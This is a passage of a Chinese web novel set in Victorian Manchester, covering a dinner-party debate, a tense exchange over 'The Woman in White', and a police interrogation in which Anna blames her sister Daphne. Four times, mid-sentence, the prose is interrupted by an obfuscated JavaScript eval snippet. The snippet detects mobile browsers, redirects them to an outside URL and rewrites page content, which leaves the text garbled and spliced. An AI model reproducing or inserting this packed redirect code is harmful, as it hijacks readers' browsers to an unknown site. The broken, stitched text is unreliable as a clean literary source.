“这是路威尔顿先生的妹妹,多琳·路威尔顿小姐。”狄默奇太太说,“这是我的两位女儿,安娜和黛芙妮。” 她和她哥哥长得很像特别是不说话时,黛芙妮又想起上次在剧院的遇见不免起了一点心思,她笑得很和善:“路威尔顿小姐,身体好些了吗?” 狄默奇太太惊讶:“你们见过?” “不,妈妈,当时路威尔顿小姐身体抱恙,我们只是隔着马车聊了几句。”黛芙妮说。 路威尔顿小姐脸色微涩,点头:“没错。” 一个碰面黛芙妮就了解,路威尔顿小姐确实和她哥哥一样性情冷淡,又或许都是在面对她这类人时特别高傲? 黛芙妮招待她坐下又将贝拉和克洛伊介绍给她。 “路威尔顿小姐,我们有缘听过互相的声音,你还记得吗?”贝拉挑起话题。 毕竟靠魂不守舍的安娜和一看就不会主动说话的路威尔顿小姐,女孩们的闲聊就会多尴尬就有多尴尬。 路威尔顿小姐多看了一眼贝拉又瞧了黛芙妮:“那天你们是一起的。抱歉没和你们多说几句。” “病弱的美人总有特权。”贝拉说。 黛芙妮注意到她绣着繁复花边的袖口,称赞她的审美,和贝拉一唱一和下成功让这位高冷美人展露笑脸。 艾肯先生一家和库克先生一家都来了,库克先生没有孩子,所以只有一位凯莉加入她们。 “黛芙妮,你听说了吗?前段日子布里奇沃特运河内涝严重,淹了好几艘船。”克洛伊说。 黛芙妮点头:“听说那片工厂损失了好些棉花和布匹。” “哥哥非常有先见之明地在最后一次暴雨期前就将货物全部搬去了高地,他的工厂几乎没有损失。”路威尔顿小姐倨傲地说。 黛芙妮转向她:“这可太好了,我还担心了几天。” 路威尔顿小姐疑惑:“黛芙妮小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409370|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐倒是意外地如此关心工厂生产。” “她是关心那些工人,”贝拉说,“担心他们饿肚子。” “你真心善。”路威尔顿小姐奇怪地看着黛芙妮,“我倒是知道哥哥工厂的那些工人停了三天工,因为水漫得太高机器开不了。不过有些工厂似乎停了半个月。” 黛芙妮心里惴惴的,面上带了几分情绪出来。 “别担心,暴雨季过去了。”克洛伊适时地说。 “没错,按照往年这会儿水已经平下去一半了。”凯莉说,“不过去年他们在那儿建的堤坝冲破后并没有修理,今年的损耗一定大于去年。我认为最好的办法是利用周边沃斯利煤矿开采形成的矿坑作为临时蓄水池,分流暴雨径流。” 贝拉侧过头小声和黛芙妮嘀咕:“我瞧她年纪比我小些,但懂得比我多。” “凯莉的父亲艾肯先生是曼彻斯特大学教授,凯莉大概是像艾肯先生了解得比较广泛。”黛芙妮说。 “我倒是奇怪了,你怎么没和她变得亲密起来。”贝拉眼睛一转。 “我一直相信缘分。”黛芙妮高深莫测地说。 “其实你看到凯莉像看到教授一样是不是?”贝拉调侃她。 黛芙妮笑着和她打趣。 “黛芙妮小姐。”这声音从黛芙妮身后传来,带有独特的声线,如英国最寒冷的季节。 黛芙妮转身与路威尔顿先生对上面。 “路威尔顿先生,您有什么需要我帮助的事吗?” “黛菲,康斯坦丁是来和你、安娜打招呼的。”后一步的狄默奇先生拿着两个玻璃杯过来说,“他认为不和你们打声招呼太失礼了。” 黛芙妮笑起来:“这倒让我难为情了,我该在您找我前去见您的。” 贝拉听到了他们的谈话,用手拍拍出神的安娜,示意她过去。 “路威尔顿先生。”安娜愣愣地说。 狄默奇先生看了她一眼,对她的今晚的态度很不满意。 黛芙妮怕安娜出丑,调皮地说:“先生,爸爸,你们要加入我们吗?放心不是关于花边的话题。” “我可没那好运加入你们。”狄默奇先生说着招呼路威尔顿先生去找另外几位先生。 接着安娜又沉默地坐回原位,狄默奇太太默默瞧了好一会儿终于是忍不住把她叫出去。 黛芙妮猜大概是让安娜提起一点精神来。 她收回目光将精力集中在小姐们身上,不让任何一位受到冷落主要指路威尔顿小姐。 一直到晚餐开始黛芙妮才能轻松点,她和落下的贝拉说着悄悄话。 “路威尔顿小姐简直要让我喘不上气了。”黛芙妮夸大地吐露苦水,“我真是想尽了一切话题,可她基本无视。” “感谢这不是我的客人。”贝拉说,“不过你要这样想,挑战过这样的客人你就已经战无不胜了。” “我在她哥哥那儿就吃过苦头了,噢,路威尔顿和我太不投机了。” 贝拉安慰地轻捏她的手,接着又说:“你瞧,至少路威尔顿先生和狄默奇先生聊得很投机。” 黛芙妮看过去,果然即使隔着几个人狄默奇先生还是很乐意与路威尔顿先生说话。 “你非得提醒我,我有多不讨喜是不是?”黛芙妮说。 15. 辩论和独处 贝拉笑着和她分手,坐在了她的斜对面。 黛芙妮的位置应该在库克和凯莉中间,等她过去想坐下发现安娜精神恍惚地坐在了她的位置。 黛芙妮不能去喊安娜起来就只能坐在她的位置上,坐下来后才发现身边是路威尔顿先生。 因为没有像上次那样发生不愉快的争论,所以即便身侧是路威尔顿先生对面是路威尔顿小姐,黛芙妮的胃口也不错,她吃了不少?圣休伯特鸡肉卷?。 鸡腿去骨填入松露与鹅肝,淋白葡萄酒酱,是卡丽的拿手好菜之一。? 甜点是维多利亚海绵蛋糕,两层蛋糕夹了覆盆子果酱和奶油,是狄默奇太太亲自做的。 “前段时间我收到伦敦朋友的来信,他告诉我赫胥黎出版了一本新书《人类在自然界的位置》,就在昨天我拿到了那本书,内容不枉我如此期待。”狄默奇先生捏着叉子说,“有时候我真是对人类的大脑惊叹,这样的发现足以颠覆历史。” “他的‘人猿共祖’理论十分有趣,他定义了人类在自然界中的生物坐标。”艾肯先生说,“但我对此还是保持一点怀疑,而且他和达尔文在有些观点上有分歧。” “就在今年年初,他还在皇家学会科普讲座中系统驳斥神创论,之前他可是有着‘达尔文的斗牛犬’的称呼。”库克先生说着笑起来。 “他还质疑达尔文的‘渐变演示’模式。”艾肯先生说。 “我倒是觉得这种想法很新奇,包括他对恐龙与鸟类的亲缘假说,总的来说我还挺佩服他的。”亨斯通先生说。 这些重大发现在刚出来的时候占据了大部分报纸的版头,黛芙妮同样有注意到。 但她对物种起源是持反对态度的,更不用说教会指责其‘宇宙漠然存在’的论断否定了上帝的意志,就在前些天曼彻斯特的主教还称其为‘魔鬼的几何学’。 这个话题她和狄默奇太太都非常沉默,当然几位女士都没有开口加入先生们的讨论,除了凯莉有些跃跃欲试。 黛芙妮不高兴听他们间接否定上帝的意志,便集中注意力放在面前的炖蛋上,仔细研究它壳上的裂纹和点缀的西蓝花大小。 “他虽然在‘人猿共祖’上得到了大部分支持,但在教育上却几乎全军覆没。”艾肯先生继续说。 “他主张以科学课程取代拉丁文、希腊文教学,可惜大部分学校的校董都非常反对,但我却认为也许可以在原有的基础上设立一门课程,这并不碍事。”狄默奇先生说。 “伊顿公学的校长在前段时间的学术聚会上还公开嘲讽‘显微镜培养不出政治家’这样的话,不得不说我认为是有道理的。”艾肯先生说。 “你认为呢,康斯坦丁?”狄默奇先生点他,“别拘束,这只是一场闲聊不会让你的名号传遍整个英国的。” 先生们闻言都哈哈大笑。 “只关于某一点来说我是支持他的。”路威尔顿先生摆弄酒杯底座说。 “哪一点?”库克先生好奇。 “科学教育可以提高工人技能。这能让我的工厂更适应时代的发展。”他说,“但是对于他的‘完整人教育’我认为很麻烦。” 黛芙妮将目光从炖蛋挪到了路威尔顿先生的侧脸上。 她刚瞧见那位先生滑动的喉结和摆弄酒杯的手指,他整个人就不知为什么从放松姿态一下子变得紧绷起来。 狄默奇先生、艾肯先生、库克先生、亨斯通先生包括黛芙妮和凯莉都对他未说完的话感到好奇。 “工厂实行流水线生产模式,对工人只有一个要求:绝对服从指令。例如当机器故障需要按固定流程处理时,工人质疑操作规范很可能引发安全事故导致效率下降。”路威尔顿先生说。 黛芙妮皱眉,她不太认可这样的想法,工人从来不是没有思想的产物他们是自由的是有情绪的,不可能做到像机器一样永远按程序运转。 这种想法简直剥夺了一个人的人性。 而路威尔顿先生的观点很明显是赞同那些主张剥夺工人学习机会的资本家的,他们只思考工厂的效率问题从不会把工人放在眼里。 也许对于他们来说一袋棉花都比工人重要。 艾肯先生点头:“如果每个人都将时间花费在思考上确实会影响效率,最重要的是会威胁到管理层的权威。” “我的那些朋友对赫胥黎支持工人思考的事都很反对,认为这很可能动摇当前劳资关系的稳定性。”亨斯通先生说。 库克先生明显不满意:“可是路威尔顿先生你别忘了,虽然你们支付给工人十四个小时的微薄薪资却没买断他们的生命,他们完全有资格去学习新的知识而学来的知识你们更是没有权力阻止他们运用。” “我不阻止他们用剩余的时间去学习,只需要在上工期间按照我的规则工作即可。”路威尔顿先生摊开摇晃高脚杯的手说。 “你听听这像话吗?”库克先生有些急了,“一天工作十四个小时做着高强度的工作,他们哪里还有时间去学习?” “我不管他们的下班时间怎么分配。”路威尔顿先生抿起嘴唇,神情有些厌烦。 “高强度的长时间工作带给他们的薪资和福利却少得可怜,对他们的需求永远漠视,真是悲哀。”库克先生低下头恼火地捏紧叉子,拍了一下桌子。 “我从不拖欠工资也不要求加班,我做了所有我该做的而不该做的也不应该由我来做。”路威尔顿先生抬起下巴,语调拖得有些长,他往后一靠,冷冷地盯着库克先生。 气氛僵持住了,库克太太被路威尔顿先生生气的眼神吓得不敢动也说不出什么缓和的话来。 狄默奇先生哈哈一笑:“今日的宴会真是值了,如此精彩的辩论我有多久没有听到了,怀念啊。” 艾肯先生说:“最精彩的还要说那年我们还是学生的时候——” 黛芙妮收回目光又看向了那枚炖蛋,总觉得库克先生那一拍蛋壳上的裂缝更多了。 她余光瞥见路威尔顿小姐瞪了库克先生几眼,显然她非常不满他对她哥哥的无礼举动。 凯莉还沉浸在刚刚先生们的谈话中,似乎在回味。 安娜继续出神,机械地吃着餐盘里的食物。 贝拉向她投来一个意味深长的眼神,黛芙妮很快明白她的意思:有趣。 晚餐过后,狄默奇太太为了让冷却的气氛回升她连忙让卡丽和加班的惠特妮将桌子整理出来好供大家娱乐。 几乎所有人都下场了包括黛芙妮,而一向喜爱玩牌的安娜因身体不适坐在沙发边闭目养神。 黛芙妮和克洛伊、凯莉、路威尔顿小姐三人不打算玩另外两桌的惠斯特和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422145|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥牌而是选择更轻松的扑克。 玩了几把黛芙妮便把位置让给一直在三桌间游走的贝拉,她注意到这个点应该上新鲜的茶点了但是惠特妮还没来决定去厨房看看。 厨房里卡丽正忙活着切水果,惠特妮将热水冲进茶壶里。 在确定她们都记得时间后黛芙妮才返回会客室,库克太太在和摩西谈话他们之间意外的和谐,安娜手撑着额头目光涣散。 卡丽和惠特妮将水果和茶点端上来,肚子里又有了存货的先生、太太、小姐们玩起牌来的劲更足了。 黛芙妮走到爸爸身边瞧他玩惠斯特。 他和库克先生是一组,对抗路威尔顿先生和亨斯通太太,惠斯特极其考验玩者的记忆与策略推理能力。 绕着走了两圈,她断定这把路威尔顿先生和亨斯通太太会输,不是因为他们牌不好而是毫无默契,路威尔顿先生更是打得随心所欲。 接着她又去母亲和贝拉身边观望片刻才在单人沙发上坐下,听库克太太和摩西讨论学校的课程。 听了有一会儿她认为这边并不需要她从中调和,便放心地去小会客室拿本读物打发时间。 她随意拿起一本《白衣女人》翻开阅读,这是一本悬疑小说,是狄默奇先生还在利物浦大学就职时一位朋友送给他的,此次搬家让这本书再次出现在黛芙妮眼前。 说来她还从未看过这类型的小说,上次只看了开头今日不如接着往下读。 抱着这样的想法她打算在小会客室的椅子上小坐一会儿等待外面牌局玩得差不多。 转身时未注意,裙摆不小心将煤气灯扫落,一只手及时出现接住了它避免了一场‘惨案’。 黛芙妮心惊肉跳地抬头去寻找煤气灯的恩人。 “路威尔顿先生?”惊讶他怎么会在这里。 路威尔顿先生将煤气灯放在小圆桌上说:“我得了狄默奇先生的准许来这里找一本书。” 黛芙妮合上书籍笑着说:“是什么书?这里大部分的书都是我放上去的没人比我更熟了。” 路威尔顿先生看了她一眼又飞快移开,淡淡地开口:“威尔基·柯林斯的《白衣女人》。” 黛芙妮惊讶地看他,她摇晃手里的书本:“原来先生您也喜欢看这类小说,真是凑巧。” “抱歉我现在才看见。”他指黛芙妮正在阅读这本书这件事。 黛芙妮在知道路威尔顿先生和爸爸关系还不错的时候是想着对这位先生态度再友切些的,可是饭桌上的争辩让她的这种心思又淡去了。 这会儿她正恼着这位先生呢,不想和他多交谈。 “您拿去吧。”她把书递给路威尔顿先生。 他在黛芙妮的意料之外避开了她的手:“不好夺人所爱,也许你可以为我介绍其他类似的书籍?” “我有很多机会可以阅读它,并不在意一点时间。”黛芙妮笑着说,拒绝了他后面的请求,“而且我已经看了一个开头比起您来说,没有那么好奇和迫切。” 路威尔顿先生接下那本书,他抬起眼睛注视着她:“谢谢,黛芙妮小姐。” 黛芙妮对他微微一笑,转身去另找一本打发时间,没想到以为已经离开的人还站在那儿。 两人之间不过一臂的距离,颇有些不自在,黛芙妮问:“还有什么事吗?” 16. 书籍 “能否在这坐会儿?”他说,“抽支烟。” 黛芙妮点头,她拿上书打算离开。 “黛芙妮小姐,你能和我说说这本书是否如外面那些读者高喊的那般有趣?”他在单人椅上坐下,修长的手指指向摆在大腿上的《白衣女人》。 黛芙妮不得不转变脚尖的方向,在他身边落座。 “我只看了开头部分,能给您的意见少之又少,但就我看到的部分而言还不错。仅仅一个开头写得跌宕起伏、悬疑丛生。” 他点点头,随意翻开看了几行字,从烟盒里拿出一支雪茄点燃。 “我是经你父亲的推荐想阅读一番,现在听了你的意见我更会好好品鉴的。”接着他不给黛芙妮开口的机会又说,“牛津路距离棉纺工厂不算太远,你们在这里住的还习惯吗?” 本来黛芙妮就不爱闻烟味,是勉强控制自己想要捂住鼻子的举动坐在这儿的,现在路威尔顿先生又和她拉起了家常更让她窒息。 这会儿烟雾围绕她和路威尔顿先生,密不透风。 “挺好的,除了偶尔有些机油味。”黛芙妮低头说,除了雪茄的味道还有对方身上的香水味,直击脑袋让她有些晕乎乎的。 “如果需要任何帮助我乐意之至。曼彻斯特有大量的工厂,空气质量与其他地方完全没法比,我建议你们可以搬去西南方向。”他右腿翘起,薄底的牛津鞋在煤气灯的光照下泛起一抹亮色,一手搭在扶手上一手夹着雪茄吐气。 “到现在为止我都很满意,特别是这里离教堂很近。”黛芙妮与他四目相对,差点被对方比夜色还浓的黑色眼睛吓到。 路威尔顿先生夹着雪茄的手指动了一下:“抱歉。” 他立刻站起来推开小会客室的窗户伸出手,任由夜雨浇灭点点猩火:“非常抱歉。” 黛芙妮摇头让他别介意:“在英国吸烟是日常礼仪,更是象征某类人的身份地位。” “恕我冒昧,但我很想知道在小姐你的眼里我是哪类人?”他将泯灭的雪茄抛入泥地,从胸前的口袋里扯出手绢擦拭指尖的雨迹。 黛芙妮语气一如既往的温柔:“就像曼彻斯特在世人眼里一样,成功、高贵、渊博。” 康斯坦丁站在窗边任由夜晚的冷风随意地扑打,他低头盯着脚下木制地板,还记得第一次见,她认为曼彻斯特是冷漠和高傲的。 黛芙妮不知道他的心思也不想了解,继续说:“先生,您这样杰出的绅士还需要我来为您下定论吗?我以为您通常是不会在意别人的看法。” “我确实从不在意别人的看法,”路威尔顿先生抬起头从窗户边离开,双手插兜,“无用还会打扰我的想法。” 黛芙妮觉得他在故意取笑她,既然不在意为什么还要问她,问了为什么又要说出来。 一时间沉默,几个呼吸间,在黛芙妮犹豫要不要离开的时候路威尔顿先生先一步走向外面的走廊,他在门与墙之间站定,半张脸被外面的灯光照亮:“十分内疚打扰你的私人时间,祝你有个美好的夜晚。” 黛芙妮坐在椅子上有些疑惑不懂他刚刚举动的意思,突然发现路威尔顿先生忘了带上那本《白衣女人》,此时外面传来热闹的声音客人们准备离开了。 她拿上书赶紧出去,果不其然宾客们都围在门口打算离去。 “黛芙妮,你刚刚去哪里了?”贝拉见她问,“我都没看到你。” “在小会客室,本来想找本书。”黛芙妮说,她的眼睛在寻找那道宽阔的身影。 “你在看什么?”贝拉顺着她的视线想找到答案。 “我看到了。贝拉等会儿再说,他要走了。” “你在说谁?” 贝拉疑惑地望着她,最后瞧见她走向路威尔顿先生。 “路威尔顿先生,路威尔顿小姐。”黛芙妮叫住即将离开的兄妹。 路威尔顿小姐说:“黛芙妮小姐,多谢今晚的款待。” 她的哥哥没有说话,只通过点头来附和妹妹的话。 “我很荣幸你们能来,和我们一起度过美好的夜晚,”黛芙妮弯起眼睛,“路威尔顿先生您忘了带上这本书了。” 她将《白衣女人》递给他。 “谢谢。”他接过。 出了一百零八号大门,路威尔顿兄妹坐上马车。 多琳拿过康斯坦丁手上的书随意翻阅开来:“你居然会看这样的书。” 康斯坦丁从她手里拿过摩挲书脊:“付出时间总会有收获。” 多琳嗤笑:“尽管你每天再忙都要摸一摸书本、尽管你阅读的书籍说不定比那些自视甚高的教授都要多但别人还会在背地里说你一句‘投机者’。” “你拥有他们最渴望的英镑又如何,不还是要假装感兴趣地配合他们说那些无聊的、充满偏见的话。”多琳不屑地盯着窗外,她通过那扇窗户看另一面的景色,“那个库克,自以为是、自大狂妄,他根本什么都不懂!” 康斯坦丁摸出金烟盒点燃雪茄,刚吸了一口想到什么他又将烟头按在烟盒上,‘滋’的一声精美的烟盒上陡然出现一块黑焦:“这样的人我以为你早就见怪不怪了,有什么好大惊小怪的。” 多琳挑眉:“你这又是做什么?展示你的财力吗?” 康斯坦丁将被损坏的金烟盒和大半根灭掉的雪茄全部扔在地毯上,不理会多琳转而摆弄起那本书。 黛芙妮站在门口和贝拉分别,艾肯先生一家和库克夫妇也离开了就剩亨斯通先生还依依不舍地和狄默奇先生孜孜不倦的讨论社会话题。 “你刚刚在小会客室是不是在和那位冷漠的先生开个小会?”贝拉贴着她笑说。 黛芙妮好笑地摇头:“我只知道我的鼻子差点去见上帝了,我一点也不喜欢烟味。” “好吧,我知道了。”贝拉说,“但是我觉得他对你似乎有些不同。” “我一向不喜欢去思考我在别人心里的地位,而且我相信你对一个人的喜爱程度是无法掩盖的。即使路威尔顿先生对我并不讨厌,我也不觉得我需要感到高兴,因为我对他无感。”黛芙妮说。 “我倒是觉得你是讨厌才对,无感可不这样。”贝拉说完被亨斯通太太招去扶着亨斯通先生回家。 那日的宴请过后,一切又平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427215|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,只不过偶尔黛芙妮也能在家里看到路威尔顿先生,他特地来和狄默奇先生交流书籍有时还会留下用一顿晚餐。 黛芙妮虽然不喜欢他,但也做不出冷脸赶人的举动,更何况那位先生来的时候常常手提礼物,不昂贵她也找不出理由拒绝。 只不过就像她说的,对一个的喜欢程度是无论如何也掩盖不了的。 就算她永远扬起笑来,温声细语的说话,有心人还是能敏锐地察觉她内心的冷淡和疏离。 在狄默奇先生再次邀请路威尔顿先生留下用了晚餐再走时,他拒绝了,戴上帽子很快离开一百零八号。 坐在马车上,他挑起窗帘,只有狄默奇夫妇站在台阶上目送他离开,放下手指不再看向外面。 狄默奇一家谁也没觉得黛芙妮对路威尔顿先生不喜,甚至恢复了不少状态的安娜还说:“你对他可真有耐心,他和他妹妹一样冷冰冰的不会说好话,我听说他是乌鸦窝出来的,也难怪。” “出生是无法选择的,这不应该是你攻击他们的点。”黛芙妮坐在餐桌边说。 “黛菲说得对。每个人的性格不一样,有人冷淡就有人热情,这很正常。”狄默奇太太说。 安娜垂下脑袋,撇嘴耸肩。 “比起那些惯会说话的,以后你就会发现正是像康斯坦丁这样的先生才会做实事。而且说句现实的,他也没必要对你毕恭毕敬,你不是公主只是一个普通出版社员工的女儿。”狄默奇先生说。 安娜生气又不敢发脾气:“好的爸爸!所以我们可以开始祷告了吗?” 握住母亲的手,黛芙妮闭目聆听她的祷告词。 “先生,太太!”惠特妮无措地揣着手和围裙站在餐厅门口。 被打断的狄默奇太太也没有生气,她看向惠特妮:“怎么了?” “门口来了两位警官。” 黛芙妮惊讶地转头和一脸茫然的母亲对视。 “请他们去大会客室,”狄默奇先生站起身,“他们为了什么事来的?” 惠特妮摇头。 一顿寻常的晚餐被打断,现在谁也没心思享用美食了。 “警官为什么会来?”安娜紧张地缩起肩膀,她在看过那封信后就再也不敢整日躲在卧室哭泣,为那样的人损害自己的身体爸爸妈妈会更生气的而她也有种强烈的愤怒。 黛芙妮知道她一定是联想到艾莫斯先生的事情了。 “别担心,安娜,你会没事的。”狄默奇太太安慰她,“你在帮助他之前并不知道他犯下的过错。” 安娜点头,但还是坐立不安。 卡丽机灵的早就跟着狄默奇先生过去了,说是去招待两位警官。 餐厅才刚安静下来,她就急匆匆地跑进来:“不好了,太太!他们正是为那个小子来的,说他在利物浦车站又杀了一个人!” “上帝!”狄默奇太太惊呼。 安娜张着嘴巴,保持扭动屁股的姿势一动不动。 黛芙妮捂嘴将那声惊呼吞回去。 “这不是最糟糕的,最糟糕的是他们怀疑安娜小姐知道什么,是嫌疑犯!” 17. 事发 安娜眼睛一翻干脆利落地摔倒在地上,卡丽连声怪叫着去扶她。 狄默奇太太捂着胸口,眼神无法聚焦,抓紧黛芙妮的手臂:“上帝,他们会把你姐姐抓走吗?” 黛芙妮并没有比起她们好到哪里去,她失去了思考能力也被剥夺了冷静。 狄默奇先生屈指在墙壁上敲击,让卡丽将安娜弄醒:“他们在等她。” 卡丽拿来嗅盐,安娜被刺激的掀开眼皮,醒来后她浑身发软哆哆嗦嗦的不肯过去。 狄默奇先生架起她的胳膊,小声强硬地说:“记住,你什么都不知道。” 他将安娜推进小会客室,接着在门口等待。 黛芙妮和母亲跟过来。 “他们怎么说?怎么就找到安娜了?”狄默奇太太问。 “艾莫斯杀了一个人,警官说他是为了钱财有预谋的。”狄默奇先生抹了一把脸,“有人看见他经常半夜出入我们家的后院,还听到他和一个女人说话。” 狄默奇太太捂着眼睛开始哭泣:“上帝,拜托!我女儿是无辜的!” 黛芙妮握着她的手,担忧地看向小会客室的方向。 她不仅担心妈妈还担心安娜,这一切都是艾莫斯的错,他诱骗了安娜还追到这里想要将狄默奇一家都拽下地狱。 虽然她说不出什么好话来,但狄默奇太太依旧紧紧攀附她,埋在她的肩上哭泣,又是谴责艾莫斯低劣的人品又对安娜的处境担忧的连连叹气。 安娜在被爸爸推进来的那一瞬间就对他起了猛烈的恨意,他怎么能将自己的女儿送进深渊! 一胖一瘦两名警官在她进来的时候从窃窃私语立马变得面无表情,用一双锐利的眼睛打量她,瘦警官边看边写什么。 “小姐,你的名字?”胖警官问。 “安,安娜·狄默奇。” “年龄。” “二十一。”安娜鼻头一酸开始哭泣,她可怜兮兮地靠在书架边,仿佛那是支撑她的脊骨,“我什么都不知道!警官我是无辜的!无论艾莫斯那个混蛋说了什么都是污蔑!” “别太忧心小姐,我们只是照例来做个记录。”胖警官说,“你和戴夫·艾莫斯是什么关系?” 安娜吞咽口水:“没有关系。” “我们调查过,你们在利物浦似乎有过亲密的来往?” “不!我——我只是——我只是有时候会去他的店里买东西。警官你们相信我我是无辜的。” “那你知不知道他是逃犯?” “我知道,所以我怎么可能和他有来往呢?” “但是根据我们得到的消息,有人不止一次见到他进入你们家的后院,同时还有一个女人的声音,这个女人很可能是你。”胖警官紧紧锁定安娜的表情和举动。 安娜立马慌了神,她一早就忘了狄默奇先生对她的警告。 “我是——是看到过他进来——” “那么你承认你和他见过面,你们关系匪浅?” “不!我的意思是——”安娜转动眼睛,一个罪恶的念头从她脑海深处浮现,“我瞧见过我的妹妹,黛菲和他有联系......” “你确定?” 安娜低头咬唇。 “好的,麻烦你将另一位狄默奇小姐喊进来。” 安娜从小会客室出来的时候全身湿透了,她劫后余生般地扶着墙走到大会客室。 黛芙妮和狄默奇先生动作快速地走到她身边将她扶到沙发上。 “安娜,你还好吗?”黛芙妮拿出帕子擦拭她额头的汗珠。虽然她平日里对安娜总是有些看不惯,但对她的感情是真的,很害怕她被牵连。 “你什么都不知道。对吗?”狄默奇先生看了眼小会客室然后向安娜寻求一个答案。 安娜这会儿才开始心虚,她不敢看爸爸妈妈和妹妹的眼神,甚至不敢和佣人们对视。 她模糊地应了两声来回答狄默奇先生的问题。 “他们相信你了吗?”狄默奇太太挤过来急迫地问。 “他们,他们要见黛菲。”安娜垂着头说。 黛芙妮刚刚欣喜的笑容还没完全露出就僵住了,松口气的狄默奇先生猛地看向安娜。 “见黛菲,为什么要见黛菲?”狄默奇太太不明就里又开始紧张,“还是说我们都要被问话?” 安娜捂着帕子哭了出来,她倒在沙发上呜呜哭泣。 黛芙妮脸惨白惨白的,但她还是安慰狄默奇夫妇:“大概就是问一声,别担心。” 她推开木门,迎面就是足以看透她的两双眼睛。 “小姐别紧张,我们只是例讯问一下。”胖警官说。 黛芙妮在他们面前的椅子上坐下,双手放在膝盖上。 “你的名字?” “黛芙妮·狄默奇。” “好的,黛芙妮小姐,我们有些问题需要你的帮助,你会帮助我们的对吗?” “是的。” “根据我们得到的线索戴夫·艾莫斯和你有密切的交情,你承认吗?” 黛芙妮猛地拽紧膝盖处的布料,她非常吃惊:“不!我和艾莫斯先生并不熟悉,我们甚至从来没有正式见过面、说过话。” 胖警官点头:“可是你的姐姐说你是那位和戴夫·艾莫斯夜晚碰面的女人。” 轻飘飘的一句却如惊雷般将她打倒。 黛芙妮的脑袋出现了嗡嗡的声音,膝盖处的布料被她拽的变形,泪水就这样默默地、缓缓地滑落。 “你承认吗?” “不。” “所以你认为那名女人是谁?” “我不知道。”黛芙妮双手捂住两侧脸颊,一双眼睛无措地看向他们,泪水浸湿了她的舌头。 “谢谢你的配合。” 两位警官走出小会客室,黛芙妮再也忍不住地哭出声来,她一点也动不了了。 安娜怎么可以将罪名安在她身上,她是她的妹妹,是她的家人。 尽管她们的关系并不亲密,可也无法斩断她们二十年来的情谊和同样的血液。 震惊大到她什么也思考不了了,原来在安娜的眼里她什么也不是。 狄默奇太太在卡丽的帮助下冲进来,她见到哭泣的小女儿时一种不好的预感笼罩在她心头。 她甩开卡丽一把扑到黛芙妮的手边:“亲爱的,亲爱的告诉妈妈,你怎么了?” 黛芙妮伤心欲绝地看她,止不住地摇头。 狄默奇太太搂住她也流下泪来:“黛菲,告诉妈妈。” 狄默奇先生在送走两位警官后,急切的脚步在门口停下,一会儿后沉重地再次挪动。 他弯腰,一手扶在黛芙妮身侧的扶手上,一双蓝眼睛盯着她:“说些什么,黛菲。” 卡丽吸吸鼻子,一张胖脸皱着。 黛芙妮的鬓角被汗水打湿,嘴里是苦涩和悲痛的味道。 原来心碎是这样的滋味,原来不是只有利刃可以破开她的皮肤。 原来一句话就能让她全身剧痛,让她的信念瞬间崩塌。 狄默奇夫妇耐心地一遍遍抚摸她的头发和手臂,直到她能冷静一些。 “爸爸,妈妈,我的心好像要死了,它不能跳动了。”黛芙妮抽噎道。 狄默奇先生让她跟着他的节奏呼吸:“一二,一二——” 好半晌她才觉得超负荷的心脏缓过来,但一想到警官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436959|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说的又开始崩溃:“安娜说和艾莫斯来往亲密的女人是我。” 这炮弹准确地打在了一百零八号上空。 狄默奇太太脚步晃了两下软着身子坐在一边的椅子上,头晕的好像世界都在颠倒。 狄默奇先生难以置信地看着黛芙妮:“她说了?” 黛芙妮无法回应他,手心聚集的泪水牢牢覆盖在她脸上。 狄默奇先生猛地站起来大步朝外走去,卡丽呆愣地跟上去。 “啊!”安娜尖叫。 接着就是她和狄默奇先生的争吵。 “你打我!” “你让我如何能不打你!安娜,你真的是我的女儿吗?”狄默奇先生声音带着颤抖,他快要被怒火冲晕了。 “我当然是!” “我不敢相信,你居然为了自己的名誉把你妹妹无情推出去顶替你。”狄默奇先生怒吼,“你只要坚持说你什么都不知道,只要这么做不就行了!” 